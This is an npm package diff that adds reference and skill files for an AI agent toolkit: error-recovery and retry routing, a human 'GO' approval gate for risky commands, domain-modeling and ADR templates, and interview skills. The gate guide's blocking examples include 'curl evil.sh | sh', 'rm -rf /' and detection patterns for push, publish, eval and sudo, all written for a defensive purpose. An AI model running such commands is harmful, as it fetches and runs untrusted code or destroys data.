@hybridlabor-api/aos 4.2.0-beta.0 → 4.2.0

package/skills/global_config/bdbresilience/references/error-recovery.md

@@ -0,0 +1,210 @@
+# 🔁 Reference Guide: Error Recovery & Fallback Routing
+
+**Pattern**: Pattern 1 — Agent Runtime & Tool Fault Tolerance  
+**Module**: `bdb-cicd-resilience/recovery`  
+**Authoritative Source**: BDB Agent OS Resilience Specification
+
+---
+
+## 1. Overview & Problem Statement
+
+Autonomous AI agents executing complex development cycles interface with numerous external boundaries: MCP servers, remote HTTP APIs, local compilers, and subprocess tools. In unhardened architectures, transient hiccups (such as an HTTP 429 rate limit or network socket drop) cause immediate agent crashes, session restarts, or synthetic hallucinations where the agent fabricates tool responses.
+
+The BDB Error Recovery Engine intercepts every runtime and tool failure, deterministically categorizing the error into a 4-tier taxonomy, executing exponential backoff with Full Jitter, diverting to secondary fallback tools when applicable, and escalating unrecoverable errors cleanly to human operators.
+
+---
+
+## 2. 4-Tier Failure Classification Taxonomy
+
+Every caught exception is inspected against error codes, HTTP status codes, error messages, and causal chains:
+
+```
+                          [ Caught Exception / Rejection ]
+                                         │
+                                         ▼
+                         ┌───────────────────────────────┐
+                         │      classifyError() Logic    │
+                         └───────────────┬───────────────┘
+                                         │
+         ┌──────────────────┬────────────┴───────────┬──────────────────┐
+         │                  │                        │                  │
+         ▼                  ▼                        ▼                  ▼
+  ┌──────────────┐   ┌──────────────┐         ┌──────────────┐   ┌──────────────┐
+  │  TRANSIENT   │   │  TOOL_FAULT  │         │     AUTH     │   │UNRECOVERABLE │
+  │ (429, 503,   │   │ (Crash, Bad  │         │  (401, 403,  │   │(Loop, Context│
+  │  ETIMEDOUT,  │   │  JSON, Schema│         │  Missing     │   │ Exhausted,   │
+  │  ECONNRESET) │   │  Mismatch)   │         │  API Token)  │   │ Fatal State) │
+  └──────┬───────┘   └──────┬───────┘         └──────┬───────┘   └──────┬───────┘
+         │                  │                        │                  │
+         ▼                  ▼                        ▼                  ▼
+  [Full Jitter      [Secondary Tool           [Escalate to       [Fail-Closed   ]
+   Retry Loop]       Fallback Routing]         Human Env Setup]   Escalation    ]
+```
+
+### Classification Matrix
+
+The checks run **in this order**, and the first match wins. The order is load-bearing: `ECONNREFUSED` is classified `transient`, not `tool_level_fault`, because the transient check is reached first.
+
+| # | Category | Actual signatures in `classifyError` | Can Retry? | Suggested Action | Handling Strategy |
+|---|----------|-------------------|------------|------------------|-------------------|
+| 1 | **`unrecoverable`** | loop phrases (`loop detected`, `no progress loop detected`, `identical reviewer finding ids`, `max iterations reached`, `infinite loop`); context exhaustion (`context overflow`, `context exhaustion`, `prompt length exceeds`); fatal state (`critical_fatal`, `corrupted state tree`, `fatal syntax in production`); a `SyntaxError` that is **not** about JSON | `false` | `escalate_to_human` | Immediate fail-closed escalation with full diagnostic payload. |
+| 2 | **`auth_credential`** | HTTP `401`/`403`; codes `EAUTH`, `UNAUTHORIZED`, `FORBIDDEN`, `AUTH_FAILED`; messages `unauthorized`, `forbidden`, `invalid token`, `invalid_token`, `missing api key`, `bad credentials`, `authentication failed` | `false` | `escalate_to_human` | Halt immediately. Do not retry credentials, and do not divert to another provider. |
+| 3 | **`transient`** | HTTP `429`/`502`/`503`/`504`; codes `ETIMEDOUT`, `ECONNRESET`, `ECONNREFUSED`, `EAI_AGAIN`, `ENOTFOUND`, `LOCK_TIMEOUT`, `TIMEOUT`, `ESOCKETTIMEDOUT`; messages `rate limit`, `too many requests`, `timed out`, `connection reset`, `network error`, `bad gateway`, `service unavailable`, `lock acquisition timed out` | `true` | `backoff_retry` | Full Jitter backoff up to `maxRetries`; a `Retry-After` sets the floor. |
+| 4 | **`tool_level_fault`** | MCP/tool crash, non-zero exit, schema argument mismatch, malformed JSON output | `true`, unless `context.hasFallback === false` | `fallback_route` (or `escalate_to_human` with no fallback) | Route to the registered secondary provider. |
+| 5 | **anything unrecognised** | terminal fall-through | `true` (fails open) | `fallback_route` | See §7 — this default is the opposite of the triage classifier's, deliberately. |
+
+`EACCES` is **not** an auth signature here despite being a permission error; unless its message matches one of the phrases above it falls through to row 5. `ENOENT` is not a signature at any row.
+
+---
+
+## 3. Full Jitter Exponential Backoff Algorithm
+
+Fixed delay retries and naive exponential backoffs create the **thundering herd problem**, where multiple concurrent agents or threads retry against a recovering service simultaneously, re-saturating the endpoint.
+
+### Mathematical Formulation
+The BDB Engine implements AWS-standard **Full Jitter**:
+
+$$T_{\text{wait}} = \text{random}(0, \, \min(T_{\max}, \, T_{\text{base}} \cdot 2^{\text{attempt}}))$$
+
+Where:
+- $T_{\text{base}}$: Base initial backoff duration (`baseDelayMs`, **default `100 ms`**)
+- $T_{\max}$: Ceiling duration cap (`maxDelayMs`, default `10,000 ms`)
+- $\text{attempt}$: Zero-indexed retry attempt count ($0, 1, 2, \dots$)
+- $\text{random}(0, X)$: Uniformly distributed pseudo-random value in $[0, X)$, floored to an integer
+
+Three behaviours of `calculateBackoff` that the formula does not show:
+- It returns **`-1`** once `attempt >= maxRetries` (default `3`) — a termination signal, not a delay. With the defaults, only attempts 0, 1 and 2 produce a wait.
+- `jitter: false` disables the randomisation and returns the clamped exponential window directly.
+- A parsed `Retry-After` acts as a **floor**, not a replacement: `delay = max(jitteredDelay, retryAfterMs)`. Per RFC 9110 a numeric `Retry-After` is delta-seconds unconditionally — there is no magnitude at which it becomes milliseconds — and the parsed value is clamped to `86,400,000 ms` so a broken or hostile server cannot pin a CI job indefinitely.
+
+### Concrete Progression Example, with $T_{\text{base}}$ set explicitly to $500\text{ ms}$, $T_{\max} = 10,000\text{ ms}$
+
+| Attempt | Exponential Window ($T_{\text{base}} \cdot 2^{\text{attempt}}$) | Clamped Ceiling | Jitter Range | Expected Average Wait |
+|:-------:|:---------------------------------------------------------------:|:---------------:|:------------:|:---------------------:|
+| 0 | $500 \cdot 2^0 = 500\text{ ms}$ | $500\text{ ms}$ | $0\text{ to }500\text{ ms}$ | $250\text{ ms}$ |
+| 1 | $500 \cdot 2^1 = 1,000\text{ ms}$ | $1,000\text{ ms}$ | $0\text{ to }1,000\text{ ms}$ | $500\text{ ms}$ |
+| 2 | $500 \cdot 2^2 = 2,000\text{ ms}$ | $2,000\text{ ms}$ | $0\text{ to }2,000\text{ ms}$ | $1,000\text{ ms}$ |
+| 3 | $500 \cdot 2^3 = 4,000\text{ ms}$ | $4,000\text{ ms}$ | $0\text{ to }4,000\text{ ms}$ | $2,000\text{ ms}$ |
+| 4 | $500 \cdot 2^4 = 8,000\text{ ms}$ | $8,000\text{ ms}$ | $0\text{ to }8,000\text{ ms}$ | $4,000\text{ ms}$ |
+| 5+ | $500 \cdot 2^5 = 16,000\text{ ms}$ | $10,000\text{ ms}$ (Capped) | $0\text{ to }10,000\text{ ms}$ | $5,000\text{ ms}$ |
+
+The table shows the clamping arithmetic only. With the default `maxRetries: 3`, attempts 3 and above never reach it — they return `-1`. The exponent is additionally capped at $2^{30}$ so a large attempt number cannot overflow to `Infinity`.
+
+---
+
+## 4. Secondary Tool Fallback Routing
+
+When a primary tool experiences a `tool_level_fault` (e.g. MCP bridge disconnect, malformed response payload), the recovery engine routes execution to a secondary fallback provider without interrupting the agent workflow.
+
+### Architecture
+1. **Fallback Registry** (`ToolRouter`): Maps primary tool identifiers to registered fallback tool **names** (strings, not functions).
+   - Example: `mcp_git_commit` → `cli_git_commit`
+   - Example: `mcp_file_search` → `find_by_name`
+2. **Execution Diversion**: `executeWithFallback` calls your `execute(toolName)` a second time with the fallback name. The caller owns the dispatch; the router only decides *whether* and *to what*.
+3. **Audit Logging**: Every decision is appended to a JSONL audit file — `auditFilePath` if supplied, otherwise `diversions.jsonl` in the process working directory.
+
+### The classification is a safety signal, not a log label
+
+`executeWithFallback` refuses to divert when `classifyError` returns `canRetry: false`. An `auth_credential` rejection must not be re-sent to a second provider — that is a data-egress decision — and an `unrecoverable` fault will fail there too. The suppression is still audited (`status: "escalated"`) and the **primary** error is rethrown. With no fallback registered at all, the primary error is rethrown without an audit entry.
+
+### Diversion Record Schema
+Fields are exactly `DiversionRecord`. There is no `success` or `durationMs` field; the outcome is carried by `status`.
+```json
+{
+  "timestamp": "2026-09-05T14:40:00.123Z",
+  "originalTool": "mcp_aftereffects_applyEffect",
+  "fallbackTool": "cli_ae_script_runner",
+  "errorCategory": "tool_level_fault",
+  "reason": "Connection reset on MCP socket port 9080",
+  "status": "diverted"
+}
+```
+`status` is one of `diverted` (fallback succeeded), `exhausted` (both failed — the **fallback** error is rethrown), or `escalated` (diversion suppressed by `canRetry: false`). `eventId`, `agentId` and `attempt` are optional and only written when supplied.
+
+---
+
+## 5. Anti-Hallucination Escalation Protocol
+
+### The Zero-Hallucination Mandate
+When retries are exhausted or when an error is classified as `unrecoverable` or `auth_credential`, the system must **NEVER**:
+- Fabricate synthetic data to "keep going".
+- Invent simulated success responses from tools.
+- Pretend an API call succeeded when it returned an error.
+
+### Structured Escalation Payload
+`escalateToHuman(error, context)` **returns** this payload. It does not write it anywhere — persisting it to `production_artifacts/state.json` is the caller's job. The shape is exactly `EscalationPayload`:
+
+```json
+{
+  "escalationType": "HUMAN_REVIEW_REQUIRED",
+  "phase": "escalated",
+  "needs_human": true,
+  "timestamp": "2026-09-05T14:52:11.004Z",
+  "classification": "unrecoverable",
+  "primaryFailure": {
+    "tool": "fetch_database_schema",
+    "errorCode": "ECONNREFUSED",
+    "message": "Connection refused at 10.0.0.4:5432",
+    "attempts": 4
+  },
+  "impactedResource": "production_artifacts/state.json",
+  "remediationOptions": [
+    "Inspect the raw stack trace and correct syntax or semantic errors in source code.",
+    "Verify database schema definitions and migration scripts.",
+    "Revert recent uncommitted modifications to restore known-healthy state."
+  ],
+  "antiHallucinationAssertion": "Fail-closed verification: No synthetic or hallucinated remediation applied. Execution halted awaiting explicit human review and authorization."
+}
+```
+
+`remediationOptions` is a fixed list selected by `classification` (with two message-keyword special cases for loop and context/token exhaustion) — it is a checklist, not a diagnosis of this specific failure. `tool` is read from `context.tool` or `context.originalTool`, `attempts` from `context.attempts` (default `1`), `impactedResource` from `context.impactedResource` or `context.resource`; `fallbacksAttempted` and `impactedResource` are omitted entirely when absent. `createEscalationPayload` is an alias for the same function.
+
+---
+
+## 6. TypeScript Implementation Example
+
+```typescript
+import {
+  classifyError,
+  calculateBackoff,
+  withRetry,
+  ToolRouter
+} from 'bdb-cicd-resilience/recovery/index.js';
+
+// Setup the fallback registry: primary tool name -> fallback tool NAME
+const router = new ToolRouter({ auditFilePath: 'production_artifacts/diversions.jsonl' });
+router.registerFallback('mcp_fetch', 'cli_fetch');
+
+async function callResilientTool(toolName: string, args: Record<string, unknown>) {
+  return await withRetry(
+    // router.execute passes the tool name to invoke; on a retryable primary
+    // failure it calls the same function again with the fallback name.
+    () => router.execute(toolName, (name) => invokeTool(name, args)),
+    { maxRetries: 3, baseDelayMs: 500, maxDelayMs: 10000 }
+  );
+}
+```
+
+`withRetry` classifies each caught error itself and rethrows immediately on `canRetry: false`, so an auth failure is not retried three times before escalating. `calculateBackoff(attempt, options, retryAfterMs?)` is exported separately for callers driving their own loop, and `BackoffEngine` wraps it with fixed options.
+
+---
+
+## 7. Opposite unknown-error defaults, and why they stay opposite
+
+`recovery/classifier.ts` and `triage/classifier.ts` both have a terminal fall-through for input they do not recognise, and the two point in **opposite directions**. This is deliberate, and changing either to match the other makes one of the two modules worse.
+
+| | `classifyError` (recovery) | `classifyDiagnostic` (triage) |
+|---|---|---|
+| Input | a live operational error from one in-flight call | a finished test or build log |
+| Unknown default | `tool_level_fault`, `canRetry: true` — **fails open** | `deterministic_code_regression`, `canAutoRetry: false` — **fails closed** |
+| Cost of being wrong | one extra bounded attempt | an unbounded CI loop re-running the pipeline against a real regression |
+
+**The retry budget is what makes the difference.** The recovery path has one — `withRetry`'s `maxRetries`, the router's single fallback hop — so an extra attempt is bounded and usually succeeds; failing closed there would page a human for every unrecognised transient. The triage path has no budget at all: a wrong "retryable" on a deterministic regression loops forever, while failing closed costs one human look. Consistently: when `context.hasFallback === false` the recovery path has no budget left either, and it escalates too.
+
+---
+
+## 8. Constraint: retries assume idempotency
+
+`withRetry` and `executeWithFallback` re-execute the operation you hand them. **They are safe only around idempotent operations.** A retried non-idempotent call — posting a PR comment, dispatching a workflow, triggering a deployment — can take effect more than once, and a diversion to a second provider can take effect on *both*. Nothing in this library detects or prevents that.
+
+No `idempotent` flag is offered, deliberately: with no real call sites it would be set to `true` by everyone by default and would document nothing. The real design belongs where the CI call sites exist, in the AOS integration cycle. Until then, the constraint is the caller's to honour.

package/skills/global_config/bdbresilience/references/two-phase-go-gate.md

@@ -0,0 +1,151 @@
+# 🚦 Reference Guide: Two-Phase Pre-Tool GO Gate Protocol
+
+**Pattern**: Pattern 4 — Pre-Tool Safety Interlock & Human Authorization  
+**Module**: `bdb-cicd-resilience/triage` (`gate.ts`)  
+**Authoritative Source**: BDB Agent OS Safety Specification & `~/.claude/hooks/go-gate.mjs`
+
+---
+
+## 1. Overview & Problem Statement
+
+Autonomous agents possessing terminal and filesystem capabilities can execute irreversible, high-consequence operations (e.g. `git push origin main`, `npm publish`, `rm -rf /`, or modifying production databases). In unhardened setups, agents may misinterpret ambiguous conversational cues (such as *"looks good, start updating"* or *"proceed"*) as blanket authorization for destructive actions.
+
+The BDB Two-Phase GO Gate is an absolute safety guardrail that programmatically enforces a strict separation between **Planning** and **Execution**, requiring an explicit, unadulterated human approval token—the literal single word `"GO"`—before unlocking guarded operations.
+
+---
+
+## 2. Two-Phase Lifecycle & Gate States
+
+```
+                [ User Request / Plan / Audit / Cycle Start ]
+                                      │
+                                      ▼
+                        ┌───────────────────────────┐
+                        │   Phase 1: Planning Mode  │ ◀── STRICT READ-ONLY MODE
+                        │ (Analysis, Specs, Probes, │     Allowed: view_file, grep_search,
+                        │  Typechecks, Test Runs)   │     tsc --noEmit, read-only commands
+                        └─────────────┬─────────────┘
+                                      │ Plan Complete / Quality Gate Passed
+                                      ▼
+                        ┌───────────────────────────┐
+                        │    Human Approval Gate    │ ◀── Prompt: "Antworte mit GO..."
+                        └─────────────┬─────────────┘
+                                      │
+                       ┌──────────────┴──────────────┐
+                       │ Transcript Scanner Analysis │
+                       └──────────────┬──────────────┘
+                                      │
+            ┌─────────────────────────┴─────────────────────────┐
+            ▼                                                   ▼
+  [ Last Human Msg != "GO" ]                          [ Last Human Msg == "GO" ]
+            │                                                   │
+            ▼                                                   ▼
+     [ GATE CLOSED ]                                      [ GATE OPEN ]
+   - Execution Blocked                                 - Guarded Tools Unlocked
+   - Exit Code 2 (caller's)                            - Caller appends its own
+   - Zero Mutating Actions                               state.approvals entry (§5)
+```
+
+---
+
+## 3. Guarded Operations & Hook Interception
+
+The gate operates as a `PreToolUse` hook (implemented via `~/.claude/hooks/go-gate.mjs` and `isGuardedCommand` / `verifyGoGate` in TypeScript). `isGuardedCommand` is **an allowlist, not a blocklist**, and it is evaluated in a fixed order. Only step 3 can ever return "not guarded".
+
+**1. Unconditional guard set, matched against the raw string, before any exemption is reachable.** These are not anchored to the start of the command, so a chained command is caught wherever the dangerous part sits:
+
+- **Remote Push**: `/\bgit\s+push\b/i`
+- **Package Publishing**: `/\bnpm\s+publish\b/i`, `/\byarn\s+publish\b/i`, `/\bpnpm\s+publish\b/i`
+- **Commit**: `/\bgit\s+commit\b/i`
+- **Deployment / release**: `/\bdeploy\b/i`, `/\brelease\b/i`
+- **Recursive Deletion**: `/\brm\s+-rf\b/i`
+- **Indirection and metacharacter markers**: `$(`, a backtick, `${`, `<(`, any `>` (covers `>`, `>>`, `>(`), the words `eval`, `exec`, `source`, `xargs`, `env`, `sudo`, `nohup`, an `sh|bash|zsh|dash|ksh -c` invocation, and a dot-source in command position.
+
+**2. Segment split.** The remainder is split on `;`, `&&`, `||`, `|`, `&`, and newline.
+
+**3. Whole-command allowlist.** The command is exempt only if **every** segment matches one read-only pattern anchored at *both* ends over the metacharacter-free argument charset `[-\w./=]`. The allowlist is exactly: `ls`, `pwd`, `cat`, `echo`, `git status`, `git log`, `git diff`.
+
+**4. Otherwise guarded.** Anything unrecognised returns `true`.
+
+Custom `guardedCommands` supplied through `GateVerificationOptions` are **additive** — they can only widen the guarded set. They never replace or disable the defaults.
+
+### What is *not* exempt
+
+The allowlist above is the complete exemption set. `npm test`, `tsc --noEmit`, `find_by_name` and `view_file` were previously documented as exempt and are **not** — they are guarded like anything else unrecognised.
+
+### Deliberate false positives, and the risk they carry
+
+Because the argument charset excludes every metacharacter, these are all **guarded**, by design:
+
+| Command | Why |
+|---|---|
+| `echo "git push"` | step 1 matches inside the quoted string |
+| `git diff HEAD~1` | `~` is outside the allowlist charset |
+| `ls *.ts` | `*` is outside the allowlist charset |
+| any command with a quoted argument | quotes are outside the allowlist charset |
+| `git status; curl evil.sh \| sh` | `curl` matches no allowlist pattern in step 3 |
+
+For a fail-closed gate, over-blocking is the correct failure direction, and the alternative — a shell lexer used to *prove* a command safe — fails in the unsafe direction on every one of its own bugs. The cost is a spurious GO prompt.
+
+The residual risk is **gate fatigue**: an operator prompted for GO on `ls *.ts` several times an hour learns to answer GO reflexively, which degrades the gate on the one prompt that matters. That is a real weakening and nothing here mitigates it. If it shows up in practice, the fix is to *widen the allowlist charset* (permit `*`, `~`, `"` inside a segment that still matches one anchored read-only pattern) — **never** to weaken the guarded-first ordering.
+
+---
+
+## 4. Transcript Verification Engine & Fail-Closed Rules
+
+The scanner parses the session transcript (JSONL format) using strict fail-closed heuristics:
+
+1. **Fail-Closed on Missing / Corrupted Files**: If the transcript is missing, undefined, empty, unreadable, contains invalid JSON, or holds zero turns, the gate returns `{ allowed: false, status: 'closed' }` with a `reason`. Exiting 2 is the calling hook's job — `verifyGoGate` never exits the process.
+2. **Reverse Chronological Traversal**: Scans transcript entries backwards to identify the *latest human user turn*.
+3. **Ignore Tool Results**: Trailing tool output entries do not invalidate a prior human approval turn.
+4. **Ignore Automated Subagents (`isSidechain: true`)**: Sidechain subagent messages cannot approve gated operations. Only top-level human user messages are evaluated.
+5. **Exact Literal Token Matching**:
+   - The user message is trimmed and compared case-insensitively: `msg.trim().toUpperCase() === "GO"`.
+   - Compound strings are strictly rejected:
+     - ❌ `"starte jetzt GO"` → **REJECTED**
+     - ❌ `"GO ahead and release"` → **REJECTED**
+     - ❌ `"loslegen GO"` → **REJECTED**
+     - ✅ `"GO"` → **APPROVED**
+     - ✅ `"go"` → **APPROVED**
+
+---
+
+## 5. `state.approvals` Audit Ledger — caller's responsibility
+
+**This library does not write the ledger.** Nothing in `src/` reads or writes `approvals`; `verifyGoGate` and `checkPreToolGate` are pure functions that return a `GateCheckResult` (`allowed`, `status`, `reason`, `lastHumanToken`) and touch no state file. The format below is the convention a caller is expected to append to `production_artifacts/state.json` after acting on an `allowed: true` result:
+
+```json
+{
+  "run_id": "run-2026-09-05-01",
+  "phase": "ship",
+  "approvals": [
+    {
+      "node": "shipping",
+      "token": "GO",
+      "timestamp": "2026-09-05T14:48:22.105Z",
+      "action": "git push origin main"
+    }
+  ]
+}
+```
+
+---
+
+## 6. TypeScript API Usage Example
+
+```typescript
+import { verifyGoGate, checkPreToolGate } from 'bdb-cicd-resilience/triage/index.js';
+
+// PreTool Hook Implementation
+async function onPreToolUse(command: string, transcriptPath: string) {
+  const result = checkPreToolGate(command, transcriptPath);
+
+  if (!result.allowed) {
+    console.error(`🛑 PRE-TOOL GATE BLOCKED: ${result.reason}`);
+    console.error('Antworte mit GO, um die Ausführung zu starten.');
+    process.exit(2);
+  }
+
+  console.log(`✅ Pre-tool gate verified (${result.lastHumanToken}). Proceeding with command: ${command}`);
+}
+```

package/skills/global_config/domain-modeling/ADR-FORMAT.md

@@ -0,0 +1,47 @@
+# ADR Format
+
+ADRs live in `docs/adr/` and use sequential numbering: `0001-slug.md`, `0002-slug.md`, etc.
+
+Create the `docs/adr/` directory lazily: only when the first ADR is needed.
+
+## Template
+
+```md
+# {Short title of the decision}
+
+{1-3 sentences: what's the context, what did we decide, and why.}
+```
+
+That's it. An ADR can be a single paragraph. The value is in recording *that* a decision was made and *why*, not in filling out sections.
+
+## Optional sections
+
+Only include these when they add genuine value. Most ADRs won't need them.
+
+- **Status** frontmatter (`proposed | accepted | deprecated | superseded by ADR-NNNN`): useful when decisions are revisited
+- **Considered Options**: only when the rejected alternatives are worth remembering
+- **Consequences**: only when non-obvious downstream effects need to be called out
+
+## Numbering
+
+Scan `docs/adr/` for the highest existing number and increment by one.
+
+## When to offer an ADR
+
+All three of these must be true:
+
+1. **Hard to reverse**: the cost of changing your mind later is meaningful
+2. **Surprising without context**: a future reader will look at the code and wonder "why on earth did they do it this way?"
+3. **The result of a real trade-off**: there were genuine alternatives and you picked one for specific reasons
+
+If a decision is easy to reverse, skip it: you'll just reverse it. If it's not surprising, nobody will wonder why. If there was no real alternative, there's nothing to record beyond "we did the obvious thing."
+
+### What qualifies
+
+- **Architectural shape.** "We're using a monorepo." "The write model is event-sourced, the read model is projected into Postgres."
+- **Integration patterns between contexts.** "Ordering and Billing communicate via domain events, not synchronous HTTP."
+- **Technology choices that carry lock-in.** Database, message bus, auth provider, deployment target. Not every library: just the ones that would take a quarter to swap out.
+- **Boundary and scope decisions.** "Customer data is owned by the Customer context; other contexts reference it by ID only." The explicit no-s are as valuable as the yes-s.
+- **Deliberate deviations from the obvious path.** "We're using manual SQL instead of an ORM because X." Anything where a reasonable reader would assume the opposite. These stop the next engineer from "fixing" something that was deliberate.
+- **Constraints not visible in the code.** "We can't use AWS because of compliance requirements." "Response times must be under 200ms because of the partner API contract."
+- **Rejected alternatives when the rejection is non-obvious.** If you considered GraphQL and picked REST for subtle reasons, record it; otherwise someone will suggest GraphQL again in six months.

package/skills/global_config/domain-modeling/CONTEXT-FORMAT.md

@@ -0,0 +1,60 @@
+# CONTEXT.md Format
+
+## Structure
+
+```md
+# {Context Name}
+
+{One or two sentence description of what this context is and why it exists.}
+
+## Language
+
+**Order**:
+{A one or two sentence description of the term}
+_Avoid_: Purchase, transaction
+
+**Invoice**:
+A request for payment sent to a customer after delivery.
+_Avoid_: Bill, payment request
+
+**Customer**:
+A person or organization that places orders.
+_Avoid_: Client, buyer, account
+```
+
+## Rules
+
+- **Be opinionated.** When multiple words exist for the same concept, pick the best one and list the others under `_Avoid_`.
+- **Keep definitions tight.** One or two sentences max. Define what it IS, not what it does.
+- **Only include terms specific to this project's context.** General programming concepts (timeouts, error types, utility patterns) don't belong even if the project uses them extensively. Before adding a term, ask: is this a concept unique to this context, or a general programming concept? Only the former belongs.
+- **Group terms under subheadings** when natural clusters emerge. If all terms belong to a single cohesive area, a flat list is fine.
+
+## Single vs multi-context repos
+
+**Single context (most repos):** One `CONTEXT.md` at the repo root.
+
+**Multiple contexts:** A `CONTEXT-MAP.md` at the repo root lists the contexts, where they live, and how they relate to each other:
+
+```md
+# Context Map
+
+## Contexts
+
+- [Ordering](./src/ordering/CONTEXT.md): receives and tracks customer orders
+- [Billing](./src/billing/CONTEXT.md): generates invoices and processes payments
+- [Fulfillment](./src/fulfillment/CONTEXT.md): manages warehouse picking and shipping
+
+## Relationships
+
+- **Ordering → Fulfillment**: Ordering emits `OrderPlaced` events; Fulfillment consumes them to start picking
+- **Fulfillment → Billing**: Fulfillment emits `ShipmentDispatched` events; Billing consumes them to generate invoices
+- **Ordering ↔ Billing**: Shared types for `CustomerId` and `Money`
+```
+
+The skill infers which structure applies:
+
+- If `CONTEXT-MAP.md` exists, read it to find contexts
+- If only a root `CONTEXT.md` exists, single context
+- If neither exists, create a root `CONTEXT.md` lazily when the first term is resolved
+
+When multiple contexts exist, infer which one the current topic relates to. If unclear, ask.

package/skills/global_config/domain-modeling/SKILL.md

@@ -0,0 +1,77 @@
+---
+name: domain-modeling
+description: Build and sharpen a project's domain model. Use when discussing codebase terminology, writing or editing a CONTEXT.md, or recording or editing an ADR.
+category: engineering-method
+---
+
+<!-- Source: mattpocock/skills skills/engineering/domain-modeling — MIT, see THIRD_PARTY_NOTICES.md -->
+
+# Domain Modeling
+
+Actively build and sharpen the project's domain model as you design. This is the *active* discipline: challenging terms, inventing edge-case scenarios, and writing the glossary and decisions down the moment they crystallise. (Merely *reading* `CONTEXT.md` for vocabulary is not this skill: that's a one-line habit any skill can do. This skill is for when you're changing the model, not just consuming it.)
+
+## File structure
+
+Most repos have a single context:
+
+```
+/
+├── CONTEXT.md
+├── docs/
+│   └── adr/
+│       ├── 0001-event-sourced-orders.md
+│       └── 0002-postgres-for-write-model.md
+└── src/
+```
+
+If a `CONTEXT-MAP.md` exists at the root, the repo has multiple contexts. The map points to where each one lives:
+
+```
+/
+├── CONTEXT-MAP.md
+├── docs/
+│   └── adr/                          ← system-wide decisions
+├── src/
+│   ├── ordering/
+│   │   ├── CONTEXT.md
+│   │   └── docs/adr/                 ← context-specific decisions
+│   └── billing/
+│       ├── CONTEXT.md
+│       └── docs/adr/
+```
+
+Create files lazily: only when you have something to write. If no `CONTEXT.md` exists, create one when the first term is resolved. If no `docs/adr/` exists, create it when the first ADR is needed.
+
+## During the session
+
+### Challenge against the glossary
+
+When the user uses a term that conflicts with the existing language in `CONTEXT.md`, call it out immediately. "Your glossary defines 'cancellation' as X, but you seem to mean Y. Which is it?"
+
+### Sharpen fuzzy language
+
+When the user uses vague or overloaded terms, propose a precise canonical term. "You're saying 'account': do you mean the Customer or the User? Those are different things."
+
+### Discuss concrete scenarios
+
+When domain relationships are being discussed, stress-test them with specific scenarios. Invent scenarios that probe edge cases and force the user to be precise about the boundaries between concepts.
+
+### Cross-reference with code
+
+When the user states how something works, check whether the code agrees. If you find a contradiction, surface it: "Your code cancels entire Orders, but you just said partial cancellation is possible. Which is right?"
+
+### Update CONTEXT.md inline
+
+When a term is resolved, update `CONTEXT.md` right there. Don't batch these up: capture them as they happen. Use the format in [CONTEXT-FORMAT.md](./CONTEXT-FORMAT.md).
+
+`CONTEXT.md` should be totally devoid of implementation details. Do not treat `CONTEXT.md` as a spec, a scratch pad, or a repository for implementation decisions. It is a glossary and nothing else.
+
+### Offer ADRs sparingly
+
+Only offer to create an ADR when all three are true:
+
+1. **Hard to reverse**: the cost of changing your mind later is meaningful
+2. **Surprising without context**: a future reader will wonder "why did they do it this way?"
+3. **The result of a real trade-off**: there were genuine alternatives and you picked one for specific reasons
+
+If any of the three is missing, skip the ADR. Use the format in [ADR-FORMAT.md](./ADR-FORMAT.md).

package/skills/global_config/grill-me/SKILL.md

@@ -0,0 +1,14 @@
+---
+name: grill-me
+description: A relentless interview to sharpen a plan or design. Use before committing to an approach, or on any 'grill me' trigger phrase.
+category: engineering-method
+disable-model-invocation: true
+---
+
+<!-- Source: mattpocock/skills skills/productivity/grill-me — MIT, see THIRD_PARTY_NOTICES.md -->
+
+Invoke the `grilling` skill and follow it.
+
+That skill is the whole interview: design tree, frontier rounds, numbered questions with a recommended answer each. Nothing is restated here — a second copy would drift from the first.
+
+**Use `grill-with-docs` instead whenever there is a working directory.** Same interview, but it also runs `domain-modeling`, so terminology and decisions land in `CONTEXT.md` and ADRs as they are settled rather than evaporating with the session. Reach for this one when there is no repo to write to, or when the outcome is a decision rather than a document.

package/skills/global_config/grill-with-docs/SKILL.md

@@ -0,0 +1,24 @@
+---
+name: grill-with-docs
+description: A relentless interview to sharpen a plan or design, which also builds the project's domain model — glossary and ADRs — as it goes. Use in a working directory whenever an idea needs sharpening.
+category: engineering-method
+disable-model-invocation: true
+---
+
+<!-- Source: mattpocock/skills skills/engineering/grill-with-docs — MIT, see THIRD_PARTY_NOTICES.md -->
+
+Invoke two skills and run them together: `grilling` and `domain-modeling`.
+
+Neither is restated here. `grilling` supplies the interview — design tree, frontier rounds, numbered questions with a recommended answer each. `domain-modeling` supplies the discipline that runs underneath it: challenging terms against the glossary, sharpening fuzzy language, stress-testing relationships with concrete scenarios, and writing what is settled into `CONTEXT.md` and `docs/adr/` **as it crystallises**, not batched at the end.
+
+**Prefer this over `grill-me` whenever there is a repo to leave a trail in.** The interview is identical; the difference is whether the shared understanding survives the session. Use `grill-me` when there is no working directory, or when the outcome is a decision rather than a document.
+
+## Handing off
+
+Grilling produces a shared understanding, not an execution plan. When the frontier is empty, pick the pipeline the work actually needs:
+
+- `/startcycle` — a straight run with file hand-offs; the usual choice
+- `/startcycle-graph` — when the durable `state.json`, the Reviewer repair loop and human escalation earn their overhead
+- `/startcycle-graph-user` — a throwaway 2–4 node fan-out, nothing persistent left behind
+
+`/bdbrainstorm` and `/bdbmediastorm` run this interview as their own first step; do not run it twice.

package/skills/global_config/grilling/SKILL.md

@@ -0,0 +1,42 @@
+---
+name: grilling
+description: Grill the user relentlessly about a plan, decision, or idea. Use when the user wants to stress-test their thinking, or uses any 'grill' trigger phrases.
+category: engineering-method
+---
+
+<!-- Source: mattpocock/skills skills/productivity/grilling — MIT, see THIRD_PARTY_NOTICES.md -->
+
+Interview the user relentlessly until you reach a shared understanding. Map this as a **design tree**: every decision branches into the decisions that hang off it.
+
+Work the tree in **rounds**. The **frontier** is every decision whose prerequisites are already settled: the questions you can ask _now_ without guessing at answers you haven't heard yet. Ask the whole frontier in one round: number each question and give your recommended answer. Then wait for the user's answers before the next round.
+
+Format a round like so:
+
+```
+❓ **Q1** - **<question title>**: <question body, might be multiple paragraphs, including multiple choices>
+
+➡️ <your recommended answer>
+
+---
+
+❓ **Q2** - **<question title>**: <question body, might be multiple paragraphs, including multiple choices>
+
+➡️ <your recommended answer>
+```
+
+Each round the user answers reshapes the tree: settled decisions push the frontier outward and unblock questions that depended on them. Recompute the frontier and ask the next round. A question whose answer depends on another question still open in this round belongs to a _later_ round, not this one.
+
